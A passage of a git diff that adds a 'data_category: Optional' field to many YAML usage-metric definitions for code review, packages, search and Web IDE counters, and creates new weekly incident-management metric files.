+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_terraform_module_user_monthly
description: Number of distinct users creating Terraform Module packages in recent 28 days
product_section: ops
diff --git a/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml b/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
index e0d1fe6b1f3..8e2da49198b 100644
--- a/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
+++ b/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.testing.i_testing_summary_widget_total_monthly
description: Unique users that expand the test summary merge request widget by month
product_section: ops
diff --git a/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml b/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml
index a3d27ec7fd9..720cc6bba79 100644
--- a/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml
+++ b/config/metrics/counts_28d/20210421144352_i_code_review_click_single_file_mode_setting_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_single_file_mode_setting_monthly
description: Count of users clicking single file mode setting
product_section: dev
diff --git a/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml b/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml
index 1bacc4d30dc..bfc1995721d 100644
--- a/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml
+++ b/config/metrics/counts_28d/20210421145818_i_code_review_click_file_browser_setting_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_file_browser_setting_monthly
description: Count of users clicking merge request file browser setting
product_section: dev
diff --git a/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml b/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml
index b9c7d00b8b3..39d4ec1ccd9 100644
--- a/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml
+++ b/config/metrics/counts_28d/20210421145945_i_code_review_click_whitespace_setting_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_whitespace_setting_monthly
description: Count of users clicking merge request whitespae setting
product_section: dev
diff --git a/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml b/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml
index dc7f22008a7..75b02d2c1ef 100644
--- a/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml
+++ b/config/metrics/counts_28d/20210422101516_i_code_review_diff_view_inline_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_view_inline_monthly
description: Count of users with merge request view type as inline
product_section: dev
diff --git a/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml b/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml
index a6102f8f936..0e621ecc2e1 100644
--- a/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml
+++ b/config/metrics/counts_28d/20210422101613_i_code_review_diff_view_parallel_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_view_parallel_monthly
description: Count of users with merge request view type as parallel
product_section: dev
diff --git a/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml b/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml
index e8539fa483b..3f92cc19b40 100644
--- a/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml
+++ b/config/metrics/counts_28d/20210422101753_i_code_review_file_browser_tree_view_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_file_browser_tree_view_monthly
description: Count of users with merge request file tree setting
product_section: dev
diff --git a/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml b/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml
index b3b1cb0b54e..5062c9a3540 100644
--- a/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml
+++ b/config/metrics/counts_28d/20210422101852_i_code_review_file_browser_list_view_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_file_browser_list_view_monthly
description: Count of users with merge request file list setting
product_section: dev
diff --git a/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml b/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml
index 006e345f0f0..e0ea4b403f0 100644
--- a/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml
+++ b/config/metrics/counts_28d/20210422101928_i_code_review_diff_show_whitespace_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_show_whitespace_monthly
description: Count of users with show whitespace enabled
product_section: dev
diff --git a/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml b/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml
index 273a98da172..6afdaf4040e 100644
--- a/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml
+++ b/config/metrics/counts_28d/20210422102010_i_code_review_diff_hide_whitespace_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_hide_whitespace_monthly
description: Count of users with show whitespace disabled
product_section: dev
diff --git a/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml b/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml
index 17ce7101133..c06852f1ceb 100644
--- a/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml
+++ b/config/metrics/counts_28d/20210422102121_i_code_review_diff_single_file_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_single_file_monthly
description: Count of users with single file mode enabled
product_section: dev
diff --git a/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml b/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml
index cde5800cf60..d3ab117e0d8 100644
--- a/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml
+++ b/config/metrics/counts_28d/20210422102202_i_code_review_diff_multiple_files_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_diff_multiple_files_monthly
description: Count of users with single mode disabled
product_section: dev
diff --git a/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml b/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
index 53757c27ca2..c5a8796d0c7 100644
--- a/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
+++ b/config/metrics/counts_28d/20210427102618_code_review_category_monthly_active_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.aggregated_metrics.code_review_category_monthly_active_users
name: "0"
description:
diff --git a/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml b/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml
index 9d79661bf27..5dba13c4339 100644
--- a/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml
+++ b/config/metrics/counts_28d/20210427103010_code_review_extension_category_monthly_active_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.aggregated_metrics.code_review_extension_category_monthly_active_users
name: "0"
description:
diff --git a/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml b/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml
index 492c50c4838..2a9c92b0840 100644
--- a/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml
+++ b/config/metrics/counts_28d/20210427103119_code_review_group_monthly_active_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.aggregated_metrics.code_review_group_monthly_active_users
name: "0"
description:
diff --git a/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml
index edd385da9ce..2d2b9fd4fe8 100644
--- a/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210427105033_pipeline_authoring_total_unique_counts_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.pipeline_authoring.pipeline_authoring_total_unique_counts_monthly
name: "0"
description:
diff --git a/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml b/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml
index dc08952bb18..66589c662c5 100644
--- a/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml
+++ b/config/metrics/counts_28d/20210427213346_geo_secondary_web_oauth_users.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.enablement.geo_secondary_web_oauth_users
name: ""
description:
diff --git a/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml b/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml
index c685e277215..0ebdabe70af 100644
--- a/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml
+++ b/config/metrics/counts_28d/20210514013545_i_code_review_user_resolve_conflict_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_resolve_conflict_monthly
name: resolve_conflict
description: Count of unique users per week who attempt to resolve a conflict through the ui
diff --git a/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml b/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml
index e421203a195..9e27c5d1ad4 100644
--- a/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml
+++ b/config/metrics/counts_28d/20210514013549_i_code_review_user_load_conflict_ui_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_load_conflict_ui_monthly
name: load_conflict_ui
description: Count of unique users per week who load the conflict resolution page
diff --git a/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml b/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml
index 67dd8f83475..47b33835640 100644
--- a/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml
+++ b/config/metrics/counts_28d/20210514141518_monthly_projects_creation.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts_monthly.projects
description: 'Count number of projects created monthly'
product_section: dev
diff --git a/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml b/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml
index 7a2b6a882a1..1560e2ba43d 100644
--- a/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml
+++ b/config/metrics/counts_28d/20210517074859_i_package_helm_deploy_token_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.deploy_token_packages.i_package_helm_deploy_token_monthly
description: Distinct Helm pakages deployed in recent 28 days
product_section: ops
diff --git a/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml b/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml
index ca524c7a500..ec903822901 100644
--- a/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml
+++ b/config/metrics/counts_28d/20210517075259_i_package_helm_user_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.user_packages.i_package_helm_user_monthly
description: Distinct user count events for Helm packages in recent 28 days
product_section: ops
diff --git a/config/metrics/counts_28d/20210520111133_total.yml b/config/metrics/counts_28d/20210520111133_total.yml
index 9b4ec4f0909..770edde3753 100644
--- a/config/metrics/counts_28d/20210520111133_total.yml
+++ b/config/metrics/counts_28d/20210520111133_total.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage_monthly.manage.project_imports.total
description: Total count of projects imported
product_section: dev
diff --git a/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml b/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml
index 04edbaf1ec1..89ab784a6a2 100644
--- a/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml
+++ b/config/metrics/counts_28d/20210607113556_i_code_review_click_diff_view_setting_monthly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_click_diff_view_setting_monthly
description: Count of users clicking diff view setting
product_section: dev
diff --git a/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml b/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml
index 6b8e1976ce0..f671827b165 100644
--- a/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_title_changed_weekly
description: Count of WAU editing an issue title
product_stage: plan
diff --git a/config/metrics/counts_7d/20210216175010_i_analytics_instance_statistics_weekly.yml b/config/metrics/counts_7d/20210216175010_i_analytics_instance_statistics_weekly.yml
index d81d1e96966..4a069e68145 100644
--- a/config/metrics/counts_7d/20210216175010_i_analytics_instance_statistics_weekly.yml
+++ b/config/metrics/counts_7d/20210216175010_i_analytics_instance_statistics_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.i_analytics_instance_statistics_weekly
description: Unique visitors to /admin/usage_trends by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml
index 63d2eee8f4c..1a5886b8d49 100644
--- a/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216175014_analytics_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.analytics.analytics_total_unique_counts_weekly
description: The number of unique users who visited any analytics feature by week
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175111_merge_request_action_weekly.yml b/config/metrics/counts_7d/20210216175111_merge_request_action_weekly.yml
index aaf56f066f9..24ac0a96342 100644
--- a/config/metrics/counts_7d/20210216175111_merge_request_action_weekly.yml
+++ b/config/metrics/counts_7d/20210216175111_merge_request_action_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.merge_request_action_weekly
description: Count of unique users who perform an action on a merge request
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175114_i_source_code_code_intelligence_weekly.yml b/config/metrics/counts_7d/20210216175114_i_source_code_code_intelligence_weekly.yml
index 726936cb49a..e5e1b1f7ed3 100644
--- a/config/metrics/counts_7d/20210216175114_i_source_code_code_intelligence_weekly.yml
+++ b/config/metrics/counts_7d/20210216175114_i_source_code_code_intelligence_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.source_code.i_source_code_code_intelligence_weekly
description: Count of unique users who use code intelligence
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175118_i_code_review_mr_diffs_weekly.yml b/config/metrics/counts_7d/20210216175118_i_code_review_mr_diffs_weekly.yml
index 928dd409445..f62235853e3 100644
--- a/config/metrics/counts_7d/20210216175118_i_code_review_mr_diffs_weekly.yml
+++ b/config/metrics/counts_7d/20210216175118_i_code_review_mr_diffs_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_mr_diffs_weekly
description: Count of unique merge requests per week with diffs viewed
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175122_i_code_review_user_single_file_diffs_weekly.yml b/config/metrics/counts_7d/20210216175122_i_code_review_user_single_file_diffs_weekly.yml
index 9e1b3ae8dde..df2f021f07c 100644
--- a/config/metrics/counts_7d/20210216175122_i_code_review_user_single_file_diffs_weekly.yml
+++ b/config/metrics/counts_7d/20210216175122_i_code_review_user_single_file_diffs_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_single_file_diffs_weekly
description: Count of unique users per week with diffs viewed file by file
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175126_i_code_review_mr_single_file_diffs_weekly.yml b/config/metrics/counts_7d/20210216175126_i_code_review_mr_single_file_diffs_weekly.yml
index a81b1f82c3d..bd58ea45c74 100644
--- a/config/metrics/counts_7d/20210216175126_i_code_review_mr_single_file_diffs_weekly.yml
+++ b/config/metrics/counts_7d/20210216175126_i_code_review_mr_single_file_diffs_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_mr_single_file_diffs_weekly
description: Count of unique merge requests per week with diffs viewed file
by file
diff --git a/config/metrics/counts_7d/20210216175130_i_code_review_user_create_mr_weekly.yml b/config/metrics/counts_7d/20210216175130_i_code_review_user_create_mr_weekly.yml
index 4349c4111a8..13ae581e63b 100644
--- a/config/metrics/counts_7d/20210216175130_i_code_review_user_create_mr_weekly.yml
+++ b/config/metrics/counts_7d/20210216175130_i_code_review_user_create_mr_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_mr_weekly
description: Count of unique users per week who created a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175134_i_code_review_user_close_mr_weekly.yml b/config/metrics/counts_7d/20210216175134_i_code_review_user_close_mr_weekly.yml
index 30c2b4fb2e5..8d772114c26 100644
--- a/config/metrics/counts_7d/20210216175134_i_code_review_user_close_mr_weekly.yml
+++ b/config/metrics/counts_7d/20210216175134_i_code_review_user_close_mr_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_close_mr_weekly
description: Count of unique users per week who closed a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175138_i_code_review_user_reopen_mr_weekly.yml b/config/metrics/counts_7d/20210216175138_i_code_review_user_reopen_mr_weekly.yml
index 5867d24ad1a..6a7c6772d12 100644
--- a/config/metrics/counts_7d/20210216175138_i_code_review_user_reopen_mr_weekly.yml
+++ b/config/metrics/counts_7d/20210216175138_i_code_review_user_reopen_mr_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_reopen_mr_weekly
description: Count of unique users per week who reopened a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175142_i_code_review_user_merge_mr_weekly.yml b/config/metrics/counts_7d/20210216175142_i_code_review_user_merge_mr_weekly.yml
index b659ed72265..cdb10c77bd4 100644
--- a/config/metrics/counts_7d/20210216175142_i_code_review_user_merge_mr_weekly.yml
+++ b/config/metrics/counts_7d/20210216175142_i_code_review_user_merge_mr_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_merge_mr_weekly
description: Count of unique users per week who merged a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175146_i_code_review_user_create_mr_comment_weekly.yml b/config/metrics/counts_7d/20210216175146_i_code_review_user_create_mr_comment_weekly.yml
index 7d9bdb2fe05..564af0eb72b 100644
--- a/config/metrics/counts_7d/20210216175146_i_code_review_user_create_mr_comment_weekly.yml
+++ b/config/metrics/counts_7d/20210216175146_i_code_review_user_create_mr_comment_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_create_mr_comment_weekly
description: Count of unique users per week who commented on a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175150_i_code_review_user_edit_mr_comment_weekly.yml b/config/metrics/counts_7d/20210216175150_i_code_review_user_edit_mr_comment_weekly.yml
index c00c652a27b..0b8a269de01 100644
--- a/config/metrics/counts_7d/20210216175150_i_code_review_user_edit_mr_comment_weekly.yml
+++ b/config/metrics/counts_7d/20210216175150_i_code_review_user_edit_mr_comment_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_edit_mr_comment_weekly
description: Count of unique users per week who edited a comment on a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175154_i_code_review_user_remove_mr_comment_weekly.yml b/config/metrics/counts_7d/20210216175154_i_code_review_user_remove_mr_comment_weekly.yml
index 675ddb66f56..115a699f700 100644
--- a/config/metrics/counts_7d/20210216175154_i_code_review_user_remove_mr_comment_weekly.yml
+++ b/config/metrics/counts_7d/20210216175154_i_code_review_user_remove_mr_comment_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_remove_mr_comment_weekly
description: Count of unique users per month who removed a comment on a MR
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175158_i_code_review_user_add_suggestion_weekly.yml b/config/metrics/counts_7d/20210216175158_i_code_review_user_add_suggestion_weekly.yml
index 857a2cf17e9..1975ab36cf0 100644
--- a/config/metrics/counts_7d/20210216175158_i_code_review_user_add_suggestion_weekly.yml
+++ b/config/metrics/counts_7d/20210216175158_i_code_review_user_add_suggestion_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_add_suggestion_weekly
description: Count of unique users per week who added a suggestion
product_section: dev
diff --git a/config/metrics/counts_7d/20210216175201_i_code_review_user_apply_suggestion_weekly.yml b/config/metrics/counts_7d/20210216175201_i_code_review_user_apply_suggestion_weekly.yml
index 3c3cd7b6171..f188681b7e6 100644
--- a/config/metrics/counts_7d/20210216175201_i_code_review_user_apply_suggestion_weekly.yml
+++ b/config/metrics/counts_7d/20210216175201_i_code_review_user_apply_suggestion_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.code_review.i_code_review_user_apply_suggestion_weekly
description: Count of unique users per week who applied a suggestion
product_section: dev
diff --git a/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml b/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml
index 75c9ec54cff..71aa5985af7 100644
--- a/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml
+++ b/config/metrics/counts_7d/20210216180328_g_edit_by_web_ide_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_web_ide_weekly
description: Weekly number of users editing using the Web IDE
product_section: dev
diff --git a/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml b/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml
index 17a8146bdca..ad6ed7d1093 100644
--- a/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml
+++ b/config/metrics/counts_7d/20210216180332_g_edit_by_sfe_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_sfe_weekly
description: Weekly number of users editing from the single file editor
product_section: dev
diff --git a/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml b/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml
index 3ef008c12bb..25cb8ce505f 100644
--- a/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml
+++ b/config/metrics/counts_7d/20210216180336_g_edit_by_snippet_ide_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.g_edit_by_snippet_ide_weekly
description: Weekly number of users editing Snippets
product_section: dev
diff --git a/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml
index 60bd21f811a..606a5dbbea2 100644
--- a/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216180339_ide_edit_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.ide_edit.ide_edit_total_unique_counts_weekly
description: Weekly number of users editing a file using the Web IDE
product_section: dev
diff --git a/config/metrics/counts_7d/20210216180422_i_search_total_weekly.yml b/config/metrics/counts_7d/20210216180422_i_search_total_weekly.yml
index 7607950a441..af0ba376863 100644
--- a/config/metrics/counts_7d/20210216180422_i_search_total_weekly.yml
+++ b/config/metrics/counts_7d/20210216180422_i_search_total_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.search.i_search_total_weekly
description: Calculated unique users to perform Basic or Advanced searches by week
product_section: enablement
diff --git a/config/metrics/counts_7d/20210216180429_search_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216180429_search_total_unique_counts_weekly.yml
index 530e1460300..fb889331ead 100644
--- a/config/metrics/counts_7d/20210216180429_search_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216180429_search_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.search.search_total_unique_counts_weekly
description: Calculated unique users to perform Basic or Advanced searches by week
product_section: enablement
diff --git a/config/metrics/counts_7d/20210216180513_incident_management_alerts_total_unique_counts.yml b/config/metrics/counts_7d/20210216180513_incident_management_alerts_total_unique_counts.yml
new file mode 100644
index 00000000000..13e01bf4a3e
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180513_incident_management_alerts_total_unique_counts.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: counts_weekly.aggregated_metrics.incident_management_alerts_total_unique_counts
+description: Count of unique users per week to take an action on an alert
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category: incident_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180515_incident_management_incidents_total_unique_counts.yml b/config/metrics/counts_7d/20210216180515_incident_management_incidents_total_unique_counts.yml
new file mode 100644
index 00000000000..25711f674b9
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180515_incident_management_incidents_total_unique_counts.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: counts_weekly.aggregated_metrics.incident_management_incidents_total_unique_counts
+description: Count of unique users per week to take an action on an incident
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category: incident_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180528_incident_management_alert_status_changed_weekly.yml b/config/metrics/counts_7d/20210216180528_incident_management_alert_status_changed_weekly.yml
new file mode 100644
index 00000000000..87259fa97fe
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180528_incident_management_alert_status_changed_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_alert_status_changed_weekly
+description: Count of unique users changing alert's status per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180532_incident_management_alert_assigned_weekly.yml b/config/metrics/counts_7d/20210216180532_incident_management_alert_assigned_weekly.yml
new file mode 100644
index 00000000000..f4c3c1eb1e9
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180532_incident_management_alert_assigned_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_alert_assigned_weekly
+description: Count of unique users assigning an alert per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180535_incident_management_alert_todo_weekly.yml b/config/metrics/counts_7d/20210216180535_incident_management_alert_todo_weekly.yml
new file mode 100644
index 00000000000..04764533ffe
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180535_incident_management_alert_todo_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_alert_todo_weekly
+description: Count of unique users adding alerts to the TODO list per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180539_incident_management_incident_created_weekly.yml b/config/metrics/counts_7d/20210216180539_incident_management_incident_created_weekly.yml
new file mode 100644
index 00000000000..8bd376c8d0e
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180539_incident_management_incident_created_weekly.yml
